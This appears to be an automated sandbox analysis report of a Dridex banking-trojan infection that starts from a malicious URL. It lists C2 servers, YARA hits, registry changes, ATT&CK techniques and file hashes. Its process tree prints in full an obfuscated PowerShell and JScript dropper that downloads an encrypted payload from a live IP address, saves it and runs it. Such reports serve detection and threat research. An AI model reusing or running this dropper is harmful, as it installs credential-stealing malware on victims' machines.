dridex | hxxp://zero[.]testtrack[.]xyz/

General

Target

http://zero.testtrack.xyz/
Sample

210208-8p35lpcy1j

Score

10^/10

dridex 10111 botnet cryptone discovery evasion loader packer ransomware trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

51.68.224.245:4646

188.165.17.91:8443

173.255.246.77:691

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 416 created 2492 416 WerFault.exe IEXPLORE.EXE

description	pid	process	target process
PID 416 created 2492	416	WerFault.exe	IEXPLORE.EXE

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\pogps.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\pogps.exe	cryptone

Dridex Loader 2 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/208-32-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr
behavioral1/memory/208-34-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

22 1568 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

pogps.exe

pid process

208 pogps.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

pogps.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA pogps.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

416 2492 WerFault.exe IEXPLORE.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

flow	pid	process
22	1568	wscript.exe

pid	process
208	pogps.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	pogps.exe

pid	pid_target	process	target process
416	2492	WerFault.exe	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 18 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3514538792"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FCB1C28E-6A67-11EB-BEBD-5649AA4EDE66} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30867060"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3514538792"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30867060"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

WerFault.exePowerShell.exe

pid	process
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
648	PowerShell.exe
648	PowerShell.exe
648	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

WerFault.exePowerShell.exe

description	pid	process
Token: SeRestorePrivilege	416	WerFault.exe
Token: SeBackupPrivilege	416	WerFault.exe
Token: SeDebugPrivilege	416	WerFault.exe
Token: SeDebugPrivilege	648	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1028 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1028 iexplore.exe
1028 iexplore.exe
2492 IEXPLORE.EXE
2492 IEXPLORE.EXE

pid	process
1028	iexplore.exe

pid	process
1028	iexplore.exe
1028	iexplore.exe
2492	IEXPLORE.EXE
2492	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

iexplore.exeIEXPLORE.EXEPowerShell.execmd.exewscript.execmd.exe

description	pid	process	target process
PID 1028 wrote to memory of 2492	1028	iexplore.exe	IEXPLORE.EXE
PID 1028 wrote to memory of 2492	1028	iexplore.exe	IEXPLORE.EXE
PID 1028 wrote to memory of 2492	1028	iexplore.exe	IEXPLORE.EXE
PID 2492 wrote to memory of 648	2492	IEXPLORE.EXE	PowerShell.exe
PID 2492 wrote to memory of 648	2492	IEXPLORE.EXE	PowerShell.exe
PID 2492 wrote to memory of 648	2492	IEXPLORE.EXE	PowerShell.exe
PID 648 wrote to memory of 904	648	PowerShell.exe	cmd.exe
PID 648 wrote to memory of 904	648	PowerShell.exe	cmd.exe
PID 648 wrote to memory of 904	648	PowerShell.exe	cmd.exe
PID 904 wrote to memory of 1568	904	cmd.exe	wscript.exe
PID 904 wrote to memory of 1568	904	cmd.exe	wscript.exe
PID 904 wrote to memory of 1568	904	cmd.exe	wscript.exe
PID 1568 wrote to memory of 636	1568	wscript.exe	cmd.exe
PID 1568 wrote to memory of 636	1568	wscript.exe	cmd.exe
PID 1568 wrote to memory of 636	1568	wscript.exe	cmd.exe
PID 636 wrote to memory of 208	636	cmd.exe	pogps.exe
PID 636 wrote to memory of 208	636	cmd.exe	pogps.exe
PID 636 wrote to memory of 208	636	cmd.exe	pogps.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://zero.testtrack.xyz/
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1028

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1028 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>$a = ""Start-Process cmd.exe `"""cmd.exe /q /c cd /d "%tMp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://188.227.57.214/?NTcyODI=^&XTBMeA^&oa1n4=xHrQMrXYbRvFFYbfLfjKRqFbNUv^&s2ht4=RGUWVxo2bk63PE5qpZDLGpbD1DBmgqVmAH16-t_d0erFOfQe5zUGwKQFlyYpUV15C8Kr7jkLQyhWfhpOD-xGFNAlEqpGcE7Vt31nwzrVFcMh0wRKFumIG_OkbUVkU4gkjwaqLFaL5^&vSerGMTI1Mg== "1"`"""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:648

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" cmd.exe /q /c cd /d %tMp% && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://188.227.57.214/?NTcyODI=^&XTBMeA^&oa1n4=xHrQMrXYbRvFFYbfLfjKRqFbNUv^&s2ht4=RGUWVxo2bk63PE5qpZDLGpbD1DBmgqVmAH16-t_d0erFOfQe5zUGwKQFlyYpUV15C8Kr7jkLQyhWfhpOD-xGFNAlEqpGcE7Vt31nwzrVFcMh0wRKFumIG_OkbUVkU4gkjwaqLFaL5^&vSerGMTI1Mg== 1
4⤵
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp cvbdfg http://188.227.57.214/?NTcyODI=&XTBMeA&oa1n4=xHrQMrXYbRvFFYbfLfjKRqFbNUv&s2ht4=RGUWVxo2bk63PE5qpZDLGpbD1DBmgqVmAH16-t_d0erFOfQe5zUGwKQFlyYpUV15C8Kr7jkLQyhWfhpOD-xGFNAlEqpGcE7Vt31nwzrVFcMh0wRKFumIG_OkbUVkU4gkjwaqLFaL5&vSerGMTI1Mg== 1
5⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c pogps.exe
6⤵
- Suspicious use of WriteProcessMemory
PID:636

C:\Users\Admin\AppData\Local\Temp\pogps.exe
pogps.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2492 -s 2424
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:416

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
88acae3e364010e82fb022c29ab69c9d

SHA1
043f08caaf36d317c60977dd9bdaa2be62ed54a0

SHA256
f14c7ba0240be3456164dd63f53dd4bc7eb34bcdb1ac26e98a623edc0390b56b

SHA512
38283522ffc8d6026c6298b3405f4274c833f3bf36d96648c0030d3aacea1a61553cea20ec0307ab6711e77ca5aadb4a7db308ed942434d5c8cf0733a3a4b27c

Download Submit
C:\Users\Admin\AppData\Local\Temp\pogps.exe
MD5
ef10edc180a8e7ccf3240bbb5a73d08b

SHA1
b5acf4ab8d560d36d96e91419ba79f1eff6089cc

SHA256
f2033c521ba361036d11483e0097233ec2571f4ba5d44c3e828b9b83d379cfb0

SHA512
33fcbeb19040d485fb95588d6e58a800771a9fc74b6e676cc4845c9cb9a633b69642caf2a2691a9f25b2d1596d4df23f90211645bfd50112bdf5369e575e6782

Download Submit
C:\Users\Admin\AppData\Local\Temp\pogps.exe
MD5
ef10edc180a8e7ccf3240bbb5a73d08b

SHA1
b5acf4ab8d560d36d96e91419ba79f1eff6089cc

SHA256
f2033c521ba361036d11483e0097233ec2571f4ba5d44c3e828b9b83d379cfb0

SHA512
33fcbeb19040d485fb95588d6e58a800771a9fc74b6e676cc4845c9cb9a633b69642caf2a2691a9f25b2d1596d4df23f90211645bfd50112bdf5369e575e6782

Download Submit
memory/208-34-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/208-33-0x0000000000670000-0x00000000006AC000-memory.dmp

Filesize
240KB

Download
memory/208-32-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/208-29-0x0000000000000000-mapping.dmp

Download
memory/416-5-0x0000000004260000-0x0000000004261000-memory.dmp

Filesize
4KB

Download
memory/416-4-0x0000000004260000-0x0000000004261000-memory.dmp

Filesize
4KB

Download
memory/416-8-0x0000000004660000-0x0000000004661000-memory.dmp

Filesize
4KB

Download
memory/636-28-0x0000000000000000-mapping.dmp

Download
memory/648-19-0x0000000007CB0000-0x0000000007CB1000-memory.dmp

Filesize
4KB

Download
memory/648-11-0x0000000006CB0000-0x0000000006CB1000-memory.dmp

Filesize
4KB

Download
memory/648-16-0x0000000007620000-0x0000000007621000-memory.dmp

Filesize
4KB

Download
memory/648-17-0x0000000006DE0000-0x0000000006DE1000-memory.dmp

Filesize
4KB

Download
memory/648-18-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

Filesize
4KB

Download
memory/648-3-0x0000000000000000-mapping.dmp

Download
memory/648-20-0x0000000008C50000-0x0000000008C51000-memory.dmp

Filesize
4KB

Download
memory/648-21-0x0000000008950000-0x0000000008951000-memory.dmp

Filesize
4KB

Download
memory/648-22-0x0000000008BB0000-0x0000000008BB1000-memory.dmp

Filesize
4KB

Download
memory/648-23-0x00000000091F0000-0x00000000091F1000-memory.dmp

Filesize
4KB

Download
memory/648-7-0x000000006EE50000-0x000000006F53E000-memory.dmp

Filesize
6.9MB

Download
memory/648-9-0x0000000006970000-0x0000000006971000-memory.dmp

Filesize
4KB

Download
memory/648-14-0x00000000069B0000-0x00000000069B1000-memory.dmp

Filesize
4KB

Download
memory/648-27-0x00000000069B3000-0x00000000069B4000-memory.dmp

Filesize
4KB

Download
memory/648-13-0x0000000006E50000-0x0000000006E51000-memory.dmp

Filesize
4KB

Download
memory/648-12-0x0000000006F30000-0x0000000006F31000-memory.dmp

Filesize
4KB

Download
memory/648-15-0x00000000069B2000-0x00000000069B3000-memory.dmp

Filesize
4KB

Download
memory/648-10-0x0000000006FF0000-0x0000000006FF1000-memory.dmp

Filesize
4KB

Download
memory/904-24-0x0000000000000000-mapping.dmp

Download
memory/1568-25-0x0000000000000000-mapping.dmp

Download
memory/2492-2-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads